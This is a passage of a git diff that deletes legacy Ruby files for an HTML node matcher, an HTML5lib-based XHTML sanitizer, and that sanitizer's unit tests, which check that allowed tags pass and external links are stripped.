     </div>
-  </div>
-</li>
-<%- end -%>
+  </li>
+<% end %>
 </ul>
diff --git a/attic/lib/node.rb b/attic/lib/node.rb
deleted file mode 100644
index 34191b90..00000000
--- a/attic/lib/node.rb
+++ /dev/null
@@ -1,530 +0,0 @@
-require 'strscan'
-
-module XHTML #:nodoc:
-  
-  class Conditions < Hash #:nodoc:
-    def initialize(hash)
-      super()
-      hash = { :content => hash } unless Hash === hash
-      hash = keys_to_symbols(hash)
-      hash.each do |k,v|
-        case k
-          when :tag, :content then
-            # keys are valid, and require no further processing
-          when :attributes then
-            hash[k] = keys_to_strings(v)
-          when :parent, :child, :ancestor, :descendant, :sibling, :before,
-                  :after
-            hash[k] = Conditions.new(v)
-          when :children
-            hash[k] = v = keys_to_symbols(v)
-            v.each do |k,v2|
-              case k
-                when :count, :greater_than, :less_than
-                  # keys are valid, and require no further processing
-                when :only
-                  v[k] = Conditions.new(v2)
-                else
-                  raise "illegal key #{k.inspect} => #{v2.inspect}"
-              end
-            end
-          else
-            raise "illegal key #{k.inspect} => #{v.inspect}"
-        end
-      end
-      update hash
-    end
-
-    private
-
-      def keys_to_strings(hash)
-        hash.keys.inject({}) do |h,k|
-          h[k.to_s] = hash[k]
-          h
-        end
-      end
-
-      def keys_to_symbols(hash)
-        hash.keys.inject({}) do |h,k|
-          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
-          h[k.to_sym] = hash[k]
-          h
-        end
-      end
-  end
-
-  # The base class of all nodes, textual and otherwise, in an HTML document.
-  class Node #:nodoc:
-    # The array of children of this node. Not all nodes have children.
-    attr_reader :children
-    
-    # The parent node of this node. All nodes have a parent, except for the
-    # root node.
-    attr_reader :parent
-    
-    # The line number of the input where this node was begun
-    attr_reader :line
-    
-    # The byte position in the input where this node was begun
-    attr_reader :position
-    
-    # Create a new node as a child of the given parent.
-    def initialize(parent, line=0, pos=0)
-      @parent = parent
-      @children = []
-      @line, @position = line, pos
-    end
-
-    # Return a textual representation of the node.
-    def to_s
-      s = ""
-      @children.each { |child| s << child.to_s }
-      s
-    end
-
-    # Return false (subclasses must override this to provide specific matching
-    # behavior.) +conditions+ may be of any type.
-    def match(conditions)
-      false
-    end
-
-    # Search the children of this node for the first node for which #find
-    # returns non +nil+. Returns the result of the #find call that succeeded.
-    def find(conditions)
-      conditions = validate_conditions(conditions)
-      @children.each do |child|        
-        node = child.find(conditions)
-        return node if node
-      end
-      nil
-    end
-
-    # Search for all nodes that match the given conditions, and return them
-    # as an array.
-    def find_all(conditions)
-      conditions = validate_conditions(conditions)
-
-      matches = []
-      matches << self if match(conditions)
-      @children.each do |child|
-        matches.concat child.find_all(conditions)
-      end
-      matches
-    end
-
-    # Returns +false+. Subclasses may override this if they define a kind of
-    # tag.
-    def tag?
-      false
-    end
-
-    def validate_conditions(conditions)
-      Conditions === conditions ? conditions : Conditions.new(conditions)
-    end
-
-    def ==(node)
-      return false unless self.class == node.class && children.size == node.children.size
-
-      equivalent = true
-
-      children.size.times do |i|
-        equivalent &&= children[i] == node.children[i]
-      end
-
-      equivalent
-    end
-    
-    class <<self
-      def parse(parent, line, pos, content, strict=true)
-        if content !~ /^<\S/
-          Text.new(parent, line, pos, content)
-        else
-          scanner = StringScanner.new(content)
-
-          unless scanner.skip(/</)
-            if strict
-              raise "expected <"
-            else
-              return Text.new(parent, line, pos, content)
-            end
-          end
-
-          if scanner.skip(/!\[CDATA\[/)
-            scanner.scan_until(/\]\]>/)
-            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
-          end
-          
-          closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/)
-          name
-  
-          unless closing
-            scanner.skip(/\s*/)
-            attributes = {}
-            while attr = scanner.scan(/[-\w:]+/)
-              value = true
-              if scanner.scan(/\s*=\s*/)
-                if delim = scanner.scan(/['"]/)
-                  value = ""
-                  while text = scanner.scan(/[^#{delim}\\]+|./)
-                    case text
-                      when "\\" then
-                        value << text
-                        value << scanner.getch
-                      when delim
-                        break
-                      else value << text
-                    end
-                  end
-                else
-                  value = scanner.scan(/[^\s>\/]+/)
-                end
-              end
-              attributes[attr] = value
-              scanner.skip(/\s*/)
-            end
-    
-            closing = ( scanner.scan(/\//) ? :self : nil )
-          end
-          
-          unless scanner.scan(/\s*>/)
-            if strict
-              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})" 
-            else
-              # throw away all text until we find what we're looking for
-              scanner.skip_until(/>/) or scanner.terminate
-            end
-          end
-
-          Tag.new(parent, line, pos, name, attributes, closing)
-        end
-      end
-    end
-  end
-
-  # A node that represents text, rather than markup.
-  class Text < Node #:nodoc:
-    
-    attr_reader :content
-    
-    # Creates a new text node as a child of the given parent, with the given
-    # content.
-    def initialize(parent, line, pos, content)
-      super(parent, line, pos)
-      @content = content
-    end
-
-    # Returns the content of this node.
-    def to_s
-      @content
-    end
-
-    # Returns +self+ if this node meets the given conditions. Text nodes support
-    # conditions of the following kinds:
-    #
-    # * if +conditions+ is a string, it must be a substring of the node's
-    #   content
-    # * if +conditions+ is a regular expression, it must match the node's
-    #   content
-    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
-    #   is either a string or a regexp, and which is interpreted as described
-    #   above.
-    def find(conditions)
-      match(conditions) && self
-    end
-    
-    # Returns non-+nil+ if this node meets the given conditions, or +nil+
-    # otherwise. See the discussion of #find for the valid conditions.
-    def match(conditions)
-      case conditions
-        when String
-          @content == conditions
-        when Regexp
-          @content =~ conditions
-        when Hash
-          conditions = validate_conditions(conditions)
-
-          # Text nodes only have :content, :parent, :ancestor
-          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
-            return false
-          end
-
-          match(conditions[:content])
-        else
-          nil
-      end
-    end
-
-    def ==(node)
-      return false unless super
-      content == node.content
-    end
-  end
-  
-  # A CDATA node is simply a text node with a specialized way of displaying
-  # itself.
-  class CDATA < Text #:nodoc:
-    def to_s
-      "<![CDATA[#{super}]>"
-    end
-  end
-
-  # A Tag is any node that represents markup. It may be an opening tag, a
-  # closing tag, or a self-closing tag. It has a name, and may have a hash of
-  # attributes.
-  class Tag < Node #:nodoc:
-    
-    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
-    attr_reader :closing
-    
-    # Either +nil+, or a hash of attributes for this node.
-    attr_reader :attributes
-
-    # The name of this tag.
-    attr_reader :name
-        
-    # Create a new node as a child of the given parent, using the given content
-    # to describe the node. It will be parsed and the node name, attributes and
-    # closing status extracted.
-    def initialize(parent, line, pos, name, attributes, closing)
-      super(parent, line, pos)
-      @name = name
-      @attributes = attributes
-      @closing = closing
-    end
-
-    # A convenience for obtaining an attribute of the node. Returns +nil+ if
-    # the node has no attributes.
-    def [](attr)
-      @attributes ? @attributes[attr] : nil
-    end
-
-    # Returns non-+nil+ if this tag can contain child nodes.
-    def childless?(xml = false)
-      return false if xml && @closing.nil?
-      !@closing.nil? ||
-        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
-                    col|frame|input|isindex|param)$/ox
-    end
-
-    # Returns a textual representation of the node
-    def to_s
-      if @closing == :close
-        "</#{@name}>"
-      else
-        s = "<#{@name}"
-        @attributes.each do |k,v|
-          s << " #{k}"
-          s << "=\"#{v}\"" if String === v
-        end
-        s << " /" if @closing == :self
-        s << ">"
-        @children.each { |child| s << child.to_s }
-        s << "</#{@name}>" if @closing != :self && !@children.empty?
-        s
-      end
-    end
-
-    # If either the node or any of its children meet the given conditions, the
-    # matching node is returned. Otherwise, +nil+ is returned. (See the
-    # description of the valid conditions in the +match+ method.)
-    def find(conditions)
-      match(conditions) && self || super
-    end
-
-    # Returns +true+, indicating that this node represents an HTML tag.
-    def tag?
-      true
-    end
-    
-    # Returns +true+ if the node meets any of the given conditions. The
-    # +conditions+ parameter must be a hash of any of the following keys
-    # (all are optional):
-    #
-    # * <tt>:tag</tt>: the node name must match the corresponding value
-    # * <tt>:attributes</tt>: a hash. The node's values must match the
-    #   corresponding values in the hash.
-    # * <tt>:parent</tt>: a hash. The node's parent must match the
-    #   corresponding hash.
-    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-    #   must meet the criteria described by the hash.
-    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-    #   meet the criteria described by the hash.
-    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-    #   must meet the criteria described by the hash.
-    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-    #   meet the criteria described by the hash.
-    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
-    #   keys:
-    # ** <tt>:count</tt>: either a number or a range which must equal (or
-    #    include) the number of children that match.
-    # ** <tt>:less_than</tt>: the number of matching children must be less than
-    #    this number.
-    # ** <tt>:greater_than</tt>: the number of matching children must be
-    #    greater than this number.
-    # ** <tt>:only</tt>: another hash consisting of the keys to use
-    #    to match on the children, and only matching children will be
-    #    counted.
-    #
-    # Conditions are matched using the following algorithm:
-    #
-    # * if the condition is a string, it must be a substring of the value.
-    # * if the condition is a regexp, it must match the value.
-    # * if the condition is a number, the value must match number.to_s.
-    # * if the condition is +true+, the value must not be +nil+.
-    # * if the condition is +false+ or +nil+, the value must be +nil+.
-    #
-    # Usage:
-    #
-    #   # test if the node is a "span" tag
-    #   node.match :tag => "span"
-    #
-    #   # test if the node's parent is a "div"
-    #   node.match :parent => { :tag => "div" }
-    #
-    #   # test if any of the node's ancestors are "table" tags
-    #   node.match :ancestor => { :tag => "table" }
-    #
-    #   # test if any of the node's immediate children are "em" tags
-    #   node.match :child => { :tag => "em" }
-    #
-    #   # test if any of the node's descendants are "strong" tags
-    #   node.match :descendant => { :tag => "strong" }
-    #
-    #   # test if the node has between 2 and 4 span tags as immediate children
-    #   node.match :children => { :count => 2..4, :only => { :tag => "span" } } 
-    #
-    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
-    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
-    #   # a "span" descendant that contains # text matching /hello world/:
-    #   node.match :tag => "div",
-    #              :ancestor => { :tag => "ul" },
-    #              :parent => { :tag => "li",
-    #                           :attributes => { :class => "enum" } },
-    #              :descendant => { :tag => "span",
-    #                               :child => /hello world/ }
-    def match(conditions)
-      conditions = validate_conditions(conditions)
-      # check content of child nodes
-      if conditions[:content]
-        if children.empty?
-          return false unless match_condition("", conditions[:content])
-        else
-          return false unless children.find { |child| child.match(conditions[:content]) }
-        end
-      end
-
-      # test the name
-      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
-      # test attributes
-      (conditions[:attributes] || {}).each do |key, value|
-        return false unless match_condition(self[key], value)
-      end
-
-      # test parent
-      return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
-      # test children
-      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-   
-      # test ancestors
-      if conditions[:ancestor]
-        return false unless catch :found do
-          p = self
-          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
-        end
-      end
-
-      # test descendants
-      if conditions[:descendant]
-        return false unless children.find do |child|
-          # test the child
-          child.match(conditions[:descendant]) ||
-          # test the child's descendants
-          child.match(:descendant => conditions[:descendant])
-        end
-      end
-      
-      # count children
-      if opts = conditions[:children]
-        matches = children.select do |c|
-          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
-        end
-        
-        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
-        opts.each do |key, value|
-          next if key == :only
-          case key
-            when :count
-              if Integer === value
-                return false if matches.length != value
-              else
-                return false unless value.include?(matches.length)
-              end
-            when :less_than
-              return false unless matches.length < value
-            when :greater_than
-              return false unless matches.length > value
-            else raise "unknown count condition #{key}"
-          end
-        end
-      end
-
-      # test siblings
-      if conditions[:sibling] || conditions[:before] || conditions[:after]
-        siblings = parent ? parent.children : []
-        self_index = siblings.index(self)
-
-        if conditions[:sibling]
-          return false unless siblings.detect do |s| 
-            s != self && s.match(conditions[:sibling])
-          end
-        end
-
-        if conditions[:before]
-          return false unless siblings[self_index+1..-1].detect do |s| 
-            s != self && s.match(conditions[:before])
-          end
-        end
-
-        if conditions[:after]
-          return false unless siblings[0,self_index].detect do |s| 
-            s != self && s.match(conditions[:after])
-          end
-        end
-      end
-  
-      true
-    end
-
-    def ==(node)
-      return false unless super
-      return false unless closing == node.closing && self.name == node.name
-      attributes == node.attributes
-    end
-    
-    private
-      # Match the given value to the given condition.
-      def match_condition(value, condition)
-        case condition
-          when String
-            value && value == condition
-          when Regexp
-            value && value.match(condition)
-          when Numeric
-            value == condition.to_s
-          when true
-            !value.nil?
-          when false, nil
-            value.nil?
-          else
-            false
-        end
-      end
-  end
-end
diff --git a/attic/lib/sanitize.rb b/attic/lib/sanitize.rb
deleted file mode 100644
index 77b71863..00000000
--- a/attic/lib/sanitize.rb
+++ /dev/null
@@ -1,262 +0,0 @@
-# == Introduction
-#
-# This module provides sanitization of XHTML+MathML+SVG 
-# and of inline style attributes. Its genesis is {described here}[http://golem.ph.utexas.edu/~distler/blog/archives/001181.html].
-#
-# Uses the {HTML5lib parser}[http://code.google.com/p/html5lib/], so that the parsing behaviour should
-# resemble that of browsers.
-#
-#  sanitize_xhtml() is a case-sensitive sanitizer, suitable for XHTML
-#  sanitize_html() is a case-insensitive sanitizer suitable for HTML
-#  sanitize_rexml() sanitizes a REXML tree, returning a string
-#  safe_sanitize_xhtml() makes extra-sure that the result is well-formed XHTML
-#                        by running the output of sanitize_xhtml() through REXML
-#
-# == Files
-#
-# {sanitize.rb}[http://golem.ph.utexas.edu/~distler/code/instiki/svn/lib/sanitize.rb],
-# {HTML5lib}[http://golem.ph.utexas.edu/~distler/code/instiki/svn/vendor/plugins/HTML5lib/]
-#
-# == Author
-#
-# {Jacques Distler}[http://golem.ph.utexas.edu/~distler/]
-#
-# ==  License
-#
-# Ruby License
-
-module Sanitize
-
-  require 'html5/html5parser'
-  require 'html5/liberalxmlparser'
-  require 'html5/treewalkers'
-  require 'html5/treebuilders'
-  require 'html5/serializer'
-  require 'html5/sanitizer'
-  require 'stringsupport.rb'
-
-  include HTML5
-
-# Sanitize a string, parsed using XHTML parsing rules.
-#
-# :call-seq:
-#    sanitize_xhtml(string)                    -> string
-#    sanitize_xhtml(string, {:encoding => 'iso-8859-1', :to_tree => true}) -> REXML::Document
-#
-# Unless otherwise specified, the string is assumed to be utf-8 encoded.
-# By default, the output is a string. But, optionally, you can return a REXML tree.
-#
-# The string returned is utf-8 encoded. If you want, you can use iconv to convert it to some other encoding.
-# (REXML trees are always utf-8 encoded.)
-  def sanitize_xhtml(html, options = {})
-    @encoding = 'utf-8'
-    @treebuilder = TreeBuilders::REXML::TreeBuilder
-    @to_tree = false
-    options.each do |name, value|
-      next unless %w(encoding treebuilder to_tree).include? name.to_s
-      if name.to_s == 'treebuilder'
-        @treebuilder =  HTML5lib::TreeBuilders.get_tree_builder(value)
-      else
-        instance_variable_set("@#{name}", value)
-      end
-    end
-    if @encoding == 'utf-8'
-      parsed = XHTMLParser.parse_fragment(html.to_utf8, {:tokenizer => HTMLSanitizer,
-        :lowercase_element_name => false, :lowercase_attr_name => false,
-        :encoding => @encoding, :tree => @treebuilder })
-    else
-      parsed = XHTMLParser.parse_fragment(html.to_ncr, {:tokenizer => HTMLSanitizer,
-        :lowercase_element_name => false, :lowercase_attr_name => false,
-        :encoding => @encoding, :tree => @treebuilder })
-    end      
-    return parsed if @to_tree
-    return parsed.to_s
-  end
-  
-# Sanitize a string, parsed using XHTML parsing rules. Reparse the result to
-#    ensure well-formedness. 
-#
-# :call-seq:
-#    safe_sanitize_xhtml(string)                    -> string
-#
-# Unless otherwise specified, the string is assumed to be utf-8 encoded.
-#
-# The string returned is utf-8 encoded. If you want, you can use iconv to convert it to some other encoding.
-# (REXML trees are always utf-8 encoded.)
-  def safe_sanitize_xhtml(html, options = {})
-    options[:to_tree] = false
-    sanitized = sanitize_xhtml(html, options)
-    doc = REXML::Document.new("<div xmlns='http://www.w3.org/1999/xhtml'>#{sanitized}</div>")
-    sanitized = doc.to_s.gsub(/\A<div xmlns='http:\/\/www.w3.org\/1999\/xhtml'>(.*)<\/div>\Z/m, '\1')
-    rescue REXML::ParseException
-      sanitized = sanitized.escapeHTML
-  end 
-
-# Sanitize a string, parsed using HTML parsing rules.
-#
-# :call-seq:
-#    sanitize_html( string )                    ->  string
-#    sanitize_html( string, {:encoding => 'iso-8859-1', :to_tree => true} ) ->  REXML::Document
-#
-# Unless otherwise specified, the string is assumed to be utf-8 encoded.
-# By default, the output is a string. But, optionally, you can return a REXML tree.
-#
-# The string returned is utf-8 encoded. If you want, you can use iconv to convert it to some other encoding.
-# (REXML trees are always utf-8 encoded.)
-  def sanitize_html(html, options = {})
-    @encoding = 'utf-8'
-    @treebuilder = TreeBuilders::REXML::TreeBuilder
-    @to_tree = false
-    options.each do |name, value|
-      next unless %w(encoding treebuilder to_tree).include? name.to_s
-      if name.to_s == 'treebuilder'
-        @treebuilder =  HTML5lib::TreeBuilders.get_tree_builder(value)
-      else
-        instance_variable_set("@#{name}", value)
-      end
-    end
-    if @encoding == 'utf-8'
-      parsed = HTMLParser.parse_fragment(html.to_utf8, {:tokenizer => HTMLSanitizer,
-        :encoding => @encoding, :tree => @treebuilder })
-    else
-      parsed = HTMLParser.parse_fragment(html.to_ncr, {:tokenizer => HTMLSanitizer,
-        :encoding => @encoding, :tree => @treebuilder })
-    end 
-    return parsed if @to_tree
-    return parsed.to_s
-  end
-
-# Sanitize a REXML tree. The output is a string.
-#
-# :call-seq:
-#    sanitize_rexml(tree)                    -> string
-#
-  def sanitize_rexml(tree)
-    tokens = TreeWalkers.get_tree_walker('rexml2').new(tree)
-    XHTMLSerializer.serialize(tokens, {:encoding=>'utf-8',
-      :space_before_trailing_solidus => true,
-      :inject_meta_charset => false,
-      :sanitize => true})
-  end
-end
-
-require 'rexml/element'
-module REXML #:nodoc:
-  class Element
-
-# Convert XHTML+MathML Named Entities in a REXML::Element to Numeric Character References
-#
-#  :call-seq:
-#     tree.to_ncr  -> REXML::Element
-#
-# REXML, typically, converts NCRs to utf-8 characters, which is what you'll see when you
-# access the resulting REXML document.
-#
-# Note that this method needs to traverse the entire tree, converting text nodes and attributes
-# for each element. This can be SLOW. It will often be faster to serialize to a string and then
-# use String.to_ncr instead.
-#
-    def to_ncr
-      self.each_element { |el|
-        el.texts.each_index  {|i|
-          el.texts[i].value = el.texts[i].to_s.to_ncr
-        }
-        el.attributes.each { |name,val|
-          el.attributes[name] = val.to_ncr
-        }
-        el.to_ncr if el.has_elements?
-      }
-      return self
-    end
-    
-# Convert XHTML+MathML Named Entities in a REXML::Element to UTF-8
-#
-#  :call-seq:
-#     tree.to_utf8  -> REXML::Element
-#
-# Note that this method needs to traverse the entire tree, converting text nodes and attributes 
-# for each element. This can be SLOW. It will often be faster to serialize to a string and then
-# use String.to_utf8 instead.
-#
-    def to_utf8
-      self.each_element { |el|
-        el.texts.each_index  {|i|
-          el.texts[i].value = el.texts[i].to_s.to_utf8
-        }
-        el.attributes.each { |name,val|
-          el.attributes[name] = val.to_utf8
-        }
-        el.to_utf8 if el.has_elements?
-      }
-      return self
-    end
-
-  end
-end
-
-module HTML5 #:nodoc: all
-  module TreeWalkers
-
-    private
-
-    class << self
-      def [](name)
-        case name.to_s.downcase
-        when 'rexml'
-          require 'html5/treewalkers/rexml'
-          REXML::TreeWalker
-        when 'rexml2'
-          REXML2::TreeWalker
-        else
-          raise "Unknown TreeWalker #{name}"
-        end
-      end
-
-      alias :get_tree_walker :[]
-    end
-
-    module REXML2
-      class TreeWalker < HTML5::TreeWalkers::NonRecursiveTreeWalker
-
-        private
-
-        def node_details(node)
-          case node
-          when ::REXML::Document
-            [:DOCUMENT]
-          when ::REXML::Element
-            if !node.name
-              [:DOCUMENT_FRAGMENT]
-            else
-              [:ELEMENT, node.name,
-                node.attributes.map {|name,value| [name,value.to_utf8]},
-                node.has_elements? || node.has_text?]
-            end
-          when ::REXML::Text
-            [:TEXT, node.value.to_utf8]
-          when ::REXML::Comment
-            [:COMMENT, node.string]
-          when ::REXML::DocType
-            [:DOCTYPE, node.name, node.public, node.system]
-          when ::REXML::XMLDecl
-            [nil]
-          else
-            [:UNKNOWN, node.class.inspect]
-          end
-        end
-
-        def first_child(node)
-          node.children.first
-        end
-
-        def next_sibling(node)
-          node.next_sibling
-        end
-
-        def parent(node)
-          node.parent
-        end
-      end
-    end
-  end
-end
diff --git a/attic/test/unit/sanitize_test.rb b/attic/test/unit/sanitize_test.rb
deleted file mode 100644
index 78a65565..00000000
--- a/attic/test/unit/sanitize_test.rb
+++ /dev/null
@@ -1,189 +0,0 @@
-#!/usr/bin/env ruby
-
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
-require 'sanitize'
-require 'json'
-
-
-class SanitizeTest < Test::Unit::TestCase
-
-  include Sanitize
-
-  def setup
-
-  end
-
-  def do_sanitize_xhtml stream
-    safe_sanitize_xhtml(stream)
-  end
-
-  def check_sanitization(input, htmloutput, xhtmloutput, rexmloutput)
-    assert_equal htmloutput, do_sanitize_xhtml(input)
-  end
-  
-  def rexml_doc(string)
-    REXML::Document.new(
-      "<div xmlns='http://www.w3.org/1999/xhtml'>#{string}</div>")
-  end
-  
-  def my_rex(string)
-    sanitize_rexml(rexml_doc(string.to_utf8)).gsub(/\A<div xmlns="http:\/\/www.w3.org\/1999\/xhtml">(.*)<\/div>\Z/m, '\1')
-  end
-
-  def test_sanitize_named_entities
-    input = '<p>Greek &phis; &phi;, double-struck &Aopf;, numeric &#x1D538; &#8279;, uppercase &TRADE; &LT;</p>'
-    output = "<p>Greek \317\225 \317\206, double-struck \360\235\224\270, numeric \360\235\224\270 \342\201\227, uppercase \342\204\242 &lt;</p>"
-    output2 = "<p>Greek \317\225 \317\206, double-struck \360\235\224\270, numeric &#x1D538; &#8279;, uppercase \342\204\242 &lt;</p>"
-    assert_equal(output, sanitize_xhtml(input))
-    assert_equal(output, sanitize_html(input))
-    assert_equal(output, my_rex(input))
-    assert_equal(output2, input.to_utf8)
-  end
-  
-  def test_sanitize_malformed_utf8
-    input = "<p>\357elephant &AMP; \302ivory</p>"
-    output = "<p>\357\277\275elephant &amp; \357\277\275ivory</p>"
-    check_sanitization(input, output, output, output)
-  end    
-
-  Sanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_allow_#{tag_name}_tag" do
-      input       = "<#{tag_name} title='1'>foo <bad>bar</bad> baz</#{tag_name}>"
-      htmloutput  = "<#{tag_name.downcase} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name.downcase}>"
-      xhtmloutput = "<#{tag_name} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name}>"
-      rexmloutput = xhtmloutput
-      
-      if %w[caption colgroup optgroup option tbody td tfoot th thead tr].include?(tag_name)
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-      elsif tag_name == 'col'
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        rexmloutput = "<col title='1' />"
-      elsif tag_name == 'table'
-        htmloutput = "foo &lt;bad&gt;bar&lt;/bad&gt;baz<table title='1'> </table>"
-        xhtmloutput = htmloutput
-      elsif tag_name == 'image'
-        htmloutput = "<img title='1'/>foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        rexmloutput = "<image title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</image>"
-      elsif VOID_ELEMENTS.include?(tag_name)
-        htmloutput = "<#{tag_name} title='1'/>foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        htmloutput += '<br/>' if tag_name == 'br'
-        rexmloutput =  "<#{tag_name} title='1' />"
-      end
-      check_sanitization(input, xhtmloutput, xhtmloutput, rexmloutput)
-    end
-  end
-
-  Sanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_forbid_#{tag_name.upcase}_tag" do
-      input = "<#{tag_name.upcase} title='1'>foo <bad>bar</bad> baz</#{tag_name.upcase}>"
-      output = "&lt;#{tag_name.upcase} title=\"1\"&gt;foo &lt;bad&gt;bar&lt;/bad&gt; baz&lt;/#{tag_name.upcase}&gt;"
-      xhtmloutput = "&lt;#{tag_name.upcase} title='1'&gt;foo &lt;bad&gt;bar&lt;/bad&gt; baz&lt;/#{tag_name.upcase}&gt;"
-      check_sanitization(input, output, xhtmloutput, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    next if attribute_name == 'style' || attribute_name.include?(':')
-    define_method "test_should_allow_#{attribute_name}_attribute" do
-      input = "<p #{attribute_name}='foo'>foo <bad>bar</bad> baz</p>"
-      output = "<p #{attribute_name}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      htmloutput = "<p #{attribute_name.downcase}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    define_method "test_should_forbid_#{attribute_name.upcase}_attribute" do
-      input = "<p #{attribute_name.upcase}='display: none;'>foo <bad>bar</bad> baz</p>"
-      output =  "<p>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_#{protocol}_uris" do
-      input = %(<a href="#{protocol}">foo</a>)
-      output = "<a href='#{protocol}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_uppercase_#{protocol}_uris" do
-      input = %(<a href="#{protocol.upcase}">foo</a>)
-      output = "<a href='#{protocol.upcase}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::SVG_ALLOW_LOCAL_HREF.each do |tag_name|
-    next unless Sanitizer::ALLOWED_ELEMENTS.include?(tag_name)
-    define_method "test_#{tag_name}_should_allow_local_href_with_ns_decl" do
-      input = %(<#{tag_name} xlink:href="#foo" xmlns:xlink='http://www.w3.org/1999/xlink'/>)
-      output = "<#{tag_name.downcase} xlink:href='#foo' xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='#foo' xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_allow_local_href_with_newline_and_ns_decl" do
-      input = %(<#{tag_name} xlink:href="\n#foo" xmlns:xlink='http://www.w3.org/1999/xlink'/>)
-      output = "<#{tag_name.downcase} xlink:href='\n#foo' xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='\n#foo' xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_local_href_without_ns_decl" do
-      input = %(<#{tag_name} xlink:href="#foo"/>)
-      output = "&lt;#{tag_name.downcase} xlink:href='#foo'/>"
-      xhtmloutput = "&lt;#{tag_name} xlink:href=&#39;#foo&#39;&gt;&lt;/#{tag_name}&gt;"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_local_href_with_newline_without_ns_decl" do
-      input = %(<#{tag_name} xlink:href="\n#foo"/>)
-      output = "&lt;#{tag_name.downcase} xlink:href='\n#foo'/>"
-      xhtmloutput = "&lt;#{tag_name} xlink:href=&#39;\n#foo&#39;&gt;&lt;/#{tag_name}&gt;"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href_with_ns_decl" do
-      input = %(<#{tag_name} xlink:href="http://bad.com/foo" xmlns:xlink='http://www.w3.org/1999/xlink'/>)
-      output = "<#{tag_name.downcase} xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      xhtmloutput = "<#{tag_name} xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href_with_newline_and_ns_decl" do
-      input = %(<#{tag_name} xlink:href="\nhttp://bad.com/foo" xmlns:xlink='http://www.w3.org/1999/xlink'/>)
-      output = "<#{tag_name.downcase} xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      xhtmloutput = "<#{tag_name} xmlns:xlink='http://www.w3.org/1999/xlink'/>"
-      check_sanitization(input, xhtmloutput, xhtmloutput, xhtmloutput)
-    end
-  end
-
-  def test_should_handle_astral_plane_characters
-    input = "<p>&#x1d4b5; &#x1d538;</p>"
-    output = "<p>\360\235\222\265 \360\235\224\270</p>"
-    check_sanitization(input, output, output, output)
-
-    input = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    output = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    check_sanitization(input, output, output, output)
-  end
-  
-    JSON::parse(open(File.expand_path(File.join(File.dirname(__FILE__), '/../sanitizer.dat'))).read).each do |test|
-      define_method "test_#{test['name']}" do
-        check_sanitization(
